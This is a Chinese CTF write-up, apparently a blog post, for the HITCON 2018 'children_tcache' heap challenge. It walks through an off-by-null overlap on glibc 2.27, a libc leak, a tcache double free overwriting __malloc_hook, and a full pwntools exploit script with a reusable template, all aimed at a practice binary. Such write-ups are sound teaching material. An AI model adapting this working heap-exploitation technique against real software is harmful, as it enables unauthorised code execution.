zoukankan      html  css  js  c++  java
  • ubuntu18.04下的off-by-null:hitcon_2018_children_tcache

    又没做出来,先说说自己的思路

    因为是off-by-null,所以准备构造重叠的chunk,但是发现程序里有memset,给构造prev size造成重大问题

    所以来详细记录一下做题过程

    先逆向,IDA里几个重要的点来记录一下

    然后程序没有edit功能

    思路:申请四个chunk

    0,1,2,3

    1来溢出到2,改2的size和prevsize,然后free2,把0,1都包含进去,申请合适大小chunk,利用1来泄漏地址

    再申请一个和1相同size的chunk,这时有两个指针指向1,来个double free(tcache yyds),然后申请一次,p64(malloc_hook),然后申请两次拿shell

    难点也是关键点:如何修改prev size

    add(0x410,'unsorted bin')    # 0
    add(0x68,'overflow')    #1
    add(0x4f0,'lemon')    # 2
    add(0x10,'protect')    # 3
    
    free(0)        # 之后y有unlink检查,所以我们先free一下,借助系统给我们的unsorted bin指针绕过检查
    free(1)

    1号chunk 0x68是为了利用下一个chunk prevsize的复用

    而且0号chunk 的size为unsorted bin大小是为了后面free2的时候向前合并可通过unlink 检查,这也是提前free 0的理由

     可以看到这里prevsize由于free前的memset,很棘手,如果我们add的时候写入p64(size),那么由于我们不是直接写入的,而是strcpy的,所以遇到00就截断了,导致高位依然是0xda

    这个时候有个很巧妙的处理方法,就是利用strcpy本身的特性,如果我们把前一块chunk free掉,add(0x67,0x67 * 'a'),那么chunk size还是0x71,2号chunk的prev size的高位会被'x00'覆盖

    而且当我们再次free的时候,memset(mem,0xda,mem_size),并不是将0x68的空间都置为0xda,而是将0x67的空间置为0xda,所以我们可以依次递减size,一直到prev size被置空

    for i in range(0,6):
        add(0x68-i,(0x68-i) * b'a')
        free(0)

    我们先循环六次,看看堆空间的内存分布是怎么样的

    可以看到这时的高位被有效置空了,所以我们只需要增大循环次数即可

    for i in range(0,9):
        add(0x68-i,(0x68-i) * b'a')
        free(0)

    可以看到,这个时候prev size清空,而且size的in use位被置0

     接下来伪造prev size,然后free 2,向前合并将1号chunk包含进去

    add(0x68,b'b' * 0x60 + p64(0x490))    # 0
    free(2)        # 向前合并

    成功向前合并

    然后泄漏libc,这里的0x410是经过计算的,目的就是为了和heaparray中的指针对应起来,导致可泄漏libc

    add(0x410,'a')    # 1,这个地方chunk size必须是0x420,否则无法泄漏libc
    show(0)            # 此处由于add了0x418,然后原来的0x68大小的chunk就会作为新unsorted bin头部,自然也就包含了残留的堆指针,而且此时我们并没有free它
    leak = u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00')) - 96 - 0x10
    print("[*] leak:",hex(leak))

    接下来我们再申请0x68大小的chunk,这时就有两个堆指针指向同一块内存区域了(原先的1号chunk 0x68)

    所以我们可以free两次,在fd写入__malloc_hook,然后在malloc hook部分写入gadget

    add(0x68,'b')    # 2
    
    free(0)    # 此时0和2指向同一块chunk
    free(2)    # double free,可以change fd pointer了
    
    one_gadget_list = [0x4f2c5,0x4f322,0x10a38c]
    one_gadget = libc_base + one_gadget_list[2]
    
    add(0x68,p64(__malloc_hook))
    add(0x68,'lemon')
    add(0x68,p64(one_gadget))

    总结模板化一下

    ubuntu18下可以用这种模版来打off-by-null,16不适用,因为后面有个double free的操作

    add(size0,index 0)  <--unsorted bin

    add(size1,index 1)

    add(size2,index 2)

    add(size protected,index 3)

    free(0)

    通过1来overflow 2,写入prev size 和 size2 in use

    free(2)

    add(size0)

    leak libc by show 1

    add(size1 , index 4)  <-- 1和4都指向了同一块内存

    free(1)   free(4)

    add

    add

    add

    getshell

    下面是完整exp

    from pwn import *
    
    '''
    author: lemon
    time: 2020-10-17
    libc: libc-2.23.so
    python version: python3
    '''
    
    local = 1
    
    binary = "./HITCON_2018_children_tcache"
    libc_path = './libc-2.27.so'
    port = "26851"
    
    if local == 1:
        p = process(binary)
    else:
        p = remote("node3.buuoj.cn",port)
    
    def dbg():
        context.log_level = 'debug'
    
    context.terminal = ['tmux','splitw','-h']
    
    def add(size,content):
        p.sendlineafter('Your choice: ','1')
        p.sendlineafter('Size:',str(size))
        p.sendafter('Data:',content)
    
    def free(index):
        p.sendlineafter('Your choice:','3')
        p.sendlineafter('Index:',str(index))
    
    def show(index):
        p.sendlineafter('Your choice: ','2')
        p.sendlineafter('Index:',str(index))
    
    def leak_libc(addr):
        global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
        libc = ELF(libc_path)
        libc_base = addr - libc.sym['__malloc_hook']
        print("[*] libc base:",hex(libc_base))
        __malloc_hook = libc_base + libc.sym['__malloc_hook']
        system = libc_base + libc.sym['system']
        binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
        __free_hook = libc_base + libc.sym['__free_hook']
        _IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']    
    
    
    add(0x410,'unsorted bin')    # 0
    add(0x68,'overflow')    #1
    add(0x4f0,'lemon')    # 2
    add(0x10,'protect')    # 3
    
    free(0)        # 之后有unlink检查,所以我们先free一下,借助系统给我们的unsorted bin指针绕过检查
    free(1)
    
    for i in range(0,9):
        add(0x68-i,(0x68-i) * b'a')
        free(0)
    
    add(0x68,b'b' * 0x60 + p64(0x490))    # 0
    free(2)        # 向前合并
        
    add(0x410,'a')    # 1,这个地方chunk size必须是0x420,否则无法泄漏libc
    show(0)            # 此处由于add了0x418,然后原来的0x68大小的chunk就会作为新unsorted bin头部,自然也就包含了残留的堆指针,而且此时我们并没有free它
    leak = u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00')) - 96 - 0x10
    print("[*] leak:",hex(leak))
    
    leak_libc(leak)
    
    add(0x68,'b')    # 2
    
    free(0)    # 此时0和2指向同一块chunk
    free(2)    # double free,可以change fd pointer了
    
    one_gadget_list = [0x4f2c5,0x4f322,0x10a38c]
    one_gadget = libc_base + one_gadget_list[2]
    
    add(0x68,p64(__malloc_hook))
    add(0x68,'lemon')
    add(0x68,p64(one_gadget))
    
    gdb.attach(p)
    p.interactive()

  • 相关阅读:
    Python元组、列表、字典
    测试通过Word直接发布博文
    Python环境搭建(windows)
    hdu 4003 Find Metal Mineral 树形DP
    poj 1986 Distance Queries LCA
    poj 1470 Closest Common Ancestors LCA
    poj 1330 Nearest Common Ancestors LCA
    hdu 3046 Pleasant sheep and big big wolf 最小割
    poj 3281 Dining 最大流
    zoj 2760 How Many Shortest Path 最大流
  • 原文地址:https://www.cnblogs.com/lemon629/p/13832843.html
Copyright © 2011-2022 走看看